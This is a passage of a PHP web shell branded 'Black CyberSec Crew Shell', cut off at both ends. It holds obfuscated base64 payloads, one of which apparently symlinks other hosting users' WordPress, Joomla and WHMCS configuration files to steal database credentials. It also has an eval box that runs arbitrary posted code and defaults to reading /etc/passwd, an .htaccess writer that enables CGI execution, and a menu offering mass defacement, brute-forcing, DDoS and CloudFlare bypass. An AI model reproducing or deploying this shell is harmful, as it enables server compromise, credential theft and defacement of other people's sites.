dGlvbi5waHAnLCRrb2xhLictam9vbWxhLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYS50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYSAtIGhvbWUudHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nLXdvcmRwcmVzcy50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd29yZHByZXNzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dlYi93cC1jb25maWcucGhwJywka29sYS4nLXdvcmRwcmVzcyAtIHdlYi50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9TU0kucGhwJywka29sYS4nLSBDIE0gRiAudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vU1NJLnBocCcsJGtvbGEuJy0gQyBNIEYgLSBmb3J1bS50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmMvY29uZmlnLnBocCcsJGtvbGEuJy0gTXlCQi50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luYy9jb25maWcucGhwJywka29sYS4nLSBNeUJCIC0gZm9ydW0udHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywka29sYS4nLSBPdGhlci50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2xpYi9jb25maWcucGhwJywka29sYS4nLSBCYWxpdGJhbmcudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWNsaWVudHMudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnQudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1iaWxsaW5nLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmdzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSB3aG1jcyAtIHdobWNzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gd2htIC0gd2htLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLSBWQnVsbGV0aW4gLSBmb3J1bS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vY29uZmlnLnBocCcsJGtvbGEuJwktIFBocEJCIC0gZm9ydW0udHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSB3aG1jIC0gd2htYy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VibWl0dGlja2V0LnBocCcsJGtvbGEuJwktIHdobWNzMi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFuYWdlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nCS1tYW5nZXdobWNzLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbXlzaG9wL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nCS1teXNob3AudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1cHBvcnQudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnRzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1cHBvcnRzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vc2NvbW1lcmNlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictb3Njb21tZXJjZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvb3Njb21tZXJjZXMvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1vc2NvbW1lcmNlcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2hvcHBpbmcvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1zaG9wLXNob3BwaW5nLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zYWxlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictc2FsZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYW1lbWJlci9jb25maWcuaW5jLnBocCcsJGtvbGEuJy1hbWVtYmVyLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcuaW5jLnBocCcsJGtvbGEuJy1hbWVtYmVyMi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gd3AudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd3dvcmRwcmVzcyAtIHdwIC0gYmV0YS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmV0YS93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBiZXRhLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMtcHJlc3MudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dvcmRwcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLXdvcmRwcmVzcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd29yZHByZXNzL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gd29yZHByZXNzLWJldGEudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL25ld3Mvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC1uZXdzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXcvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gbmV3LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9ncy93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBibG9ncy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9tZS93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBob21lLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcm90YWwvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gcHJvdGFsLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL3dwLWNvbmZpZy5waHAnLCRrb2xhLictIHdvcmRwcmVzcyAtIHNpdGUudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21haW4vd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gbWFpbi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdGVzdC93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSB0ZXN0LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhIC0gam9vbWxhIC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJvdGFsL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSBqb29tbGEgLSBwcm90YWwudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2pvby9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gam9vLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbXMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictIGpvb21sYSAtIGNtcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2l0ZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gc2l0ZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFpbi9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gbWFpbi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gbmV3cy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSBqb29tbGEgLSBuZXcudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvbWUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictIGpvb21sYSAtIGhvbWUudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictIHZiLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92YjMvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0gdmIzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jcGFuZWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictY3BhbmVsLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1wYW5lbC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1ob3N0LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob3N0aW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWhvc3RpbmcudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3RzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWhvc3RzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRrb2xhLictemVuY2FydC50eHQnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3plbmNhcnQvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLSB6ZW5jYXJ0IC0gc2hvcC50eHQnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Nob3AvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLXNob3AtWkNzaG9wLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvU2V0dGluZ3MucGhwJywka29sYS4nLSBzbWYudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zbWYvU2V0dGluZ3MucGhwJywka29sYS4nLSBzbWYgLSBzbWYudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9TZXR0aW5ncy5waHAnLCRrb2xhLictIHNtZiAtIGZvcnVtLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW1zL1NldHRpbmdzLnBocCcsJGtvbGEuJy0gc21mIC0gZm9ydW1zLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdXBsb2FkL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictIHVwbG9hZCAudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2wvY29uZmlnLnBocCcsJGtvbGEuJy0gbWFsYXkudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy9rb25la3NpLnBocCcsJGtvbGEuJy0gbG9rb21lZGlhLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9zeXN0ZW0vc2lzdGVtLnBocCcsJGtvbGEuJy0gbG9rb21lZGlhLnR4dCcpOyANCiB9DQppZiAoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAnUE9TVCcpIHsNCiAgcmVhZChTVERJTiwgJGJ1ZmZlciwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7DQp9IGVsc2Ugew0KICAkYnVmZmVyID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQp9DQpAcGFpcnMgPSBzcGxpdCgvJi8sICRidWZmZXIpOw0KZm9yZWFjaCAkcGFpciAoQHBhaXJzKSB7DQogICgkbmFtZSwgJHZhbHVlKSA9IHNwbGl0KC89LywgJHBhaXIpOw0KICAkbmFtZSA9fiB0ci8rLyAvOw0KICAkbmFtZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOw0KICAkdmFsdWUgPX4gdHIvKy8gLzsNCiAgJHZhbHVlID1+IHMvJShbYS1mQS1GMC05XVthLWZBLUYwLTldKS9wYWNrKCJDIiwgaGV4KCQxKSkvZWc7DQogICRGT1JNeyRuYW1lfSA9ICR2YWx1ZTsNCn0NCmlmICgkRk9STXtwYXNzfSBlcSAiIil7DQpwcmludCAnDQo8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIj4NCjxwPiZuYnNwOzwvcD4NCjxmb3JtIG1ldGhvZD0icG9zdCI+DQo8dGV4dGFyZWEgbmFtZT0icGFzcyIgc3R5bGU9IndpZHRoOiA1NDNweDsgaGVpZ2h0OiA0MDBweCI+PC90ZXh0YXJlYT4NCjxiciAvPjxiciAvPg0KPGlucHV0IG5hbWU9InRhciIgdHlwZT0idGV4dCIgc3R5bGU9IndpZHRoOiAyMTJweCIgLz48YnIgLz48YnIgLz4NCjxpbnB1dCBuYW1lPSJTdWJtaXQxIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJIYWphciAuLiEiIHN0eWxlPSJ3aWR0aDogOTlweCIgLz4NCjxiciAvPg0KPC9mb3JtPic7DQp9ZWxzZXsNCkBsaW5lcyA9PCRGT1JNe3Bhc3N9PjsNCiR5ID0gQGxpbmVzOw0Kb3BlbiAoTVlGSUxFLCAiPnRhci50bXAiKTsNCnByaW50IE1ZRklMRSAidGFyIC1jemYgIi4kRk9STXt0YXJ9LiIudGFyICI7DQpmb3IgKCRrYT0wOyRrYTwkeTska2ErKyl7DQp3aGlsZShAbGluZXNbJGthXSAgPX4gbS8oLio/KTp4Oi9nKXsNCiZsaWwoJDEpOw0KcHJpbnQgTVlGSUxFICQxLiIudHh0ICI7DQpmb3IoJGtkPTE7JGtkPDE4OyRrZCsrKXsNCnByaW50IE1ZRklMRSAkMS4ka2QuIi50eHQgIjsNCn0NCn0NCiB9DQpwcmludCc8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIj4NCjxwPkRvbmUgISE8L3A+DQo8cD4mbmJzcDs8L3A+JzsNCmlmKCRGT1JNe3Rhcn0gbmUgIiIpew0Kb3BlbihJTkZPLCAidGFyLnRtcCIpOw0KQGxpbmVzID08SU5GTz4gOw0KY2xvc2UoSU5GTyk7DQpzeXN0ZW0oQGxpbmVzKTsNCnByaW50JzxwPjxhIGhyZWY9IicuJEZPUk17dGFyfS4nLnRhciI+IGRvd25sb2FkICBmaWxlPC9hPjwvcD4nOw0KfQ0KfQ0KIHByaW50Ig0KPC9ib2R5Pg0KPC9odG1sPiI7\';
?>
<html><head><link rel="SHORTCUT ICON" href="http://i1345.photobucket.com/albums/p673/Apiz_pudin/BCC6_zps90cbe07c.png"><title> Black CyberSec Crew Shell </title>
<script type="text/javascript">
function tukar(lama,baru){
document.getElementById(lama).style.display = \'none\';
document.getElementById(baru).style.display = \'block\';
}
</script>
<style type="text/css">
body{
background:#000000;;
}
a {
text-decoration:none;
}
a:hover{
border-bottom:1px solid #FF0000;
}
*{
font-size:11px;
font-family:Tahoma,Verdana,Arial;
color:#FFFFFF;
}
#menu{
background:#6a0707;
margin:8px 2px 4px 2px;
}
#menu a{
padding:4px 18px;
margin:0;
background:#c40909;
text-decoration:none;
letter-spacing:2px;
-moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
}
#menu a:hover{
background:#6a0707;
border-bottom:1px solid #c40909;
border-top:1px solid #c40909;
}
.tabnet{
margin:15px auto 0 auto;
border: 1px solid #c40909;
}
.main {
width:100%;
}
.gaya {
color: #FF0000;
}
.inputz{
background:#6a0707;
border:0;
padding:2px;
border-bottom:1px solid #c40909;
border-top:1px solid #c40909;
}
.inputzbut{
background:#6a0707;
color:#FF0000;
margin:0 4px;
border:1px solid #444444;
}
.inputz:hover, .inputzbut:hover{
border-bottom:1px solid #FF0000;
border-top:1px solid #FF0000;
}
.output {
margin:auto;
border:1px solid #FF0000;
width:100%;
height:400px;
background:#000000;
padding:0 2px;
}
.cmdbox{
width:100%;
}
.head_info{
padding: 0 4px;
}
.jaya{ font-family: ;}
.b374k{
font-size:30px;
padding:0;
color:#444444;
}
.b374k_tbl{
text-align:center;
margin:0 4px 0 0;
padding:0 4px 0 0;
border-right:1px solid #c40909;
}
.phpinfo table{
width:100%;
padding:0 0 0 0;
}
.phpinfo td{
background:#6a0707;
color:#cccccc;
padding:6px 8px;;
}
.phpinfo th, th{
background:#6a0707;
border-bottom:1px solid #c40909;
font-weight:normal;
}
.phpinfo h2, .phpinfo h2 a{
text-align:center;
font-size:16px;
padding:0;
margin:30px 0 0 0;
background:#c40909;
padding:4px 0;
}
.explore{
width:100%;
}
.explore a {
text-decoration:none;
}
.explore td{
border-bottom:1px solid #c40909;
padding:0 8px;
line-height:24px;
}
.explore th{
padding:3px 8px;
font-weight:normal;
}
.explore th:hover , .phpinfo th:hover{
border-bottom:1px solid #FF0000;
}
.explore tr:hover{
background:#6a0707;
}
.viewfile{
background:#EDECEB;
color:#000000;
margin:4px 2px;
padding:8px;
}
.sembunyi{
display:none;
padding:0;margin:0;
}
</style></head>
<body onLoad="document.getElementById(\'cmd\').focus();">
<div class="main">
<!-- head info start here -->
<div class="head_info">
<table ><tr>
<td><table class="b374k_tbl"><tr><td><a href="?"><span class="b374k"><img src="http://i1345.photobucket.com/albums/p673/Apiz_pudin/BCC6shell_zps51b8382f.png" /></span></a></td></tr><tr><td><b></b></td></tr></table></td>
<td><?php echo $buff; ?></td>
</tr></table>
</div>
<!-- head info end here -->
<!-- menu start -->
<center><div id="menu">
<a href="?<?php echo "y=".$pwd; ?>"><img src=\'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxQ2GRnu/TgAAAJzSURBVDjLtZLPSxtBHMXf5semZDfS7KpIaWzRShoFD5UK9h6ai5eCPfZkwYJ4kF566a30H0gF24BUqDdjBT1VCFIsNBUWEw+ha2obpDGUXGR1Z7KZ+fbQRky1vfULAzPD4/MeMw/4H7O6ugoAsG17tFwuJwFgd3f3Qq3yN0g+n7+r6/oKgEtQMDWYGHx5kc539rC4uAgA2Hy/OaGq6oplWaVcLmdxxl9YlvUEALa2tv6dYGPjXSoS6chWKpWKaZpdoVBIL5VK+0NDQ/1END02NjZ/LsHc3BwAYG1tbSIYVLOFQuGzpmldgUDAkFKqvb2917a3t23GWDqXyz0BgPX19fYEy8vLKV3XswcHBxXDMLoikYghpaRW0kajwfbK5W834/F+ANOpVGr+FLC0tHRf0/TX+/tf7J6eniuappkA6IwBtSC2bX9NJBIDRPT05OTkuTL1aKpj9Pbox1qtdmgYxlXTNG8QEV3wPgRAcV23bllWfmRkZNh13VuKpmnBvr6+O1LK2szMzNtwOBxviYUQUBQFPp+vBYCU8jCTyaSOj48vA/hw6jI+Ph5JJpOfwuFwnIjAGKsvLCw8cxxHTE4+fGwY0RgRgYi+O44zPDs7W2/rgeu6CmMMjDFwziGE+JFIJF5Vq9VMs+kdcs7BOQdjDEdHR6fGgdZGCAHOOfx+P4gIQggZjUaps9OkRqNBjDHQr1E8z8M5QLVaheM4TZ/fBxDQbDZVz/MgJYFzHlRVFURQms2GqNfr4qIm+mOx2L3u7u5hKSVCIXVPSvGmsFNUBuLxB8FA4DoAeJ63UywWswBk2x+l0+kW0P97KX80tnXfNj8B5NE5DOMV2T0AAAAASUVORK5CYII=\' height="18" width="34"></a>
<a href="?<?php echo "y=".$pwd; ?>&x=shell">Shell</a>
<a href="?<?php echo "y=".$pwd; ?>&x=php">Eval</a>
<a href="?<?php echo "y=".$pwd; ?>&x=sql">Mysql</a>
<a href="?<?php echo "y=".$pwd; ?>&x=dump">Database Dump</a>
<a href="?<?php echo "y=".$pwd; ?>&x=phpinfo">Php Info</a>
<a href="?<?php echo "y=".$pwd; ?>&x=netsploit">Net Sploit</a>
<a href="?<?php echo "y=".$pwd; ?>&x=upload">Upload</a>
<a href="?<?php echo "y=".$pwd; ?>&x=mail">E-Mail</a>
<a href="?<?php echo "y=".$pwd; ?>&x=sqli-scanner">SQLI Scan</a>
<a href="?<?php echo "y=".$pwd; ?>&x=port-sc">Port Scan</a>
<a href="?<?php echo "y=".$pwd; ?>&x=dos">DDos</a>
<a href="?<?php echo "y=".$pwd; ?>&x=tool">Tools</a>
<a href="?<?php echo "y=".$pwd; ?>&x=python">python</a>
<a href="?<?php echo "y=".$pwd; ?>&x=symlink">Symlink</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=config">Config</a>
<a href="?<?php echo "y=".$pwd; ?>&x=bypass">Bypass</a>
<a href="?<?php echo "y=".$pwd; ?>&x=cgi">CgiShell</a>
<a href="?<?php echo "y=".$pwd; ?>&x=cgi2012">CGI Telnet 2012</a>
<a href="?<?php echo "y=".$pwd; ?>&x=domain">Domain</a>
<a href="?<?php echo "y=".$pwd; ?>&x=jodexer">Joomla IndChange</a>
<a href="?<?php echo "y=".$pwd; ?>&x=vb">VB IndChange</a>
<a href="?<?php echo "y=".$pwd; ?>&x=wp-reset">Wordpress ResPass</a>
<a href="?<?php echo "y=".$pwd; ?>&x=jm-reset">Joomla ResPass</a>
<a href="?<?php echo "y=".$pwd; ?>&x=whmcs">WHMCS Decoder</a>
<a href="?<?php echo "y=".$pwd; ?>&x=zone">Zone-H</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=mass">Mass Deface</a>
<a href="?<?php echo "y=".$pwd; ?>&x=wpbrute">Wordpress BruteForce</a>
<a href="?<?php echo "y=".$pwd; ?>&x=jbrute">Joomla BruteForce</a>
<a href="?<?php echo "y=".$pwd; ?>&x=brute">Cpanel BruteForce</a>
<a href="?<?php echo "y=".$pwd; ?>&x=bypass-cf">Bypass CloudFlare</a>
<a href="?<?php echo "y=".$pwd; ?>&x=adfin">Admin Finder</a>
<a href="?<?php echo "y=".$pwd; ?>&x=hash">Password Hash</a>
<a href="?<?php echo "y=".$pwd; ?>&x=hashid">Hash ID</a>
<a href="?<?php echo "y=".$pwd; ?>&x=string">Script Encode</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=whois">Website Whois</a>
<a href="?<?php echo "y=".$pwd; ?>&x=jss">Joomla Server Scanner</a>
<a href="?<?php echo "y=".$pwd; ?>&x=cms_detect">Cms Detector</a>
<a href="?<?php echo "y=".$pwd; ?>&x=about">About</a>
<a href="?<?php echo "y=".$pwd; ?>&x=logout">Log-Out</a>
</div></center>
<!-- menu end -->
<?php
@ini_set(\'display_errors\', 0);
if(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'php\')){ ?>
<form action="?y=<?php echo $pwd; ?>&x=php" method="post">
<table class="cmdbox">
<tr><td>
<textarea class="output" name="cmd" id="cmd">
<?php
if(isset($_POST[\'submitcmd\'])) {
echo eval(magicboom($_POST[\'cmd\']));
}
else echo "echo file_get_contents(\'/etc/passwd\');";
?>
</textarea>
<tr><td><input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitcmd" /></td></tr></form>
</table>
</form>
<?php }
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'sql\'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=sql" method="post">
<?php
echo "<center/><br/><b><font color=#FF0000>+--==[ Mysql Interface ]==--+</font></b><br><br>";
mkdir(\'mysql\', 0755);
chdir(\'mysql\');
$akses = ".htaccess";
$buka_lah = "$akses";
$buka = fopen ($buka_lah , \'w\') or die ("Error cuyy!");
$metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-php .cpc
";
fwrite ( $buka , $metin ) ;
fclose ($buka);
$sqlshell = \'PD8NCiRQQVNTV09SRCA9ICJyb290X3hoYWhheCI7DQokVVNFUk5BTUUgPSAieGhhaGF4IjsNCmlmICggZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykgKSB7DQoJJG9ub2ZmID0gaW5pX2dldCgncmVnaXN0ZXJfZ2xvYmFscycpOw0KfSBlbHNlIHsNCgkkb25vZmYgPSBnZXRfY2ZnX3ZhcigncmVnaXN0ZXJfZ2xvYmFscycpOw0KfQ0KaWYgKCRvbm9mZiAhPSAxKSB7DQoJQGV4dHJhY3QoJEhUVFBfU0VSVkVSX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfQ09PS0lFX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfUE9TVF9GSUxFUywgRVhUUl9TS0lQKTsNCglAZXh0cmFjdCgkSFRUUF9QT1NUX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfR0VUX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfRU5WX1ZBUlMsIEVYVFJfU0tJUCk7DQp9DQoNCmZ1bmN0aW9uIGxvZ29uKCkgew0KCWdsb2JhbCAkUEhQX1N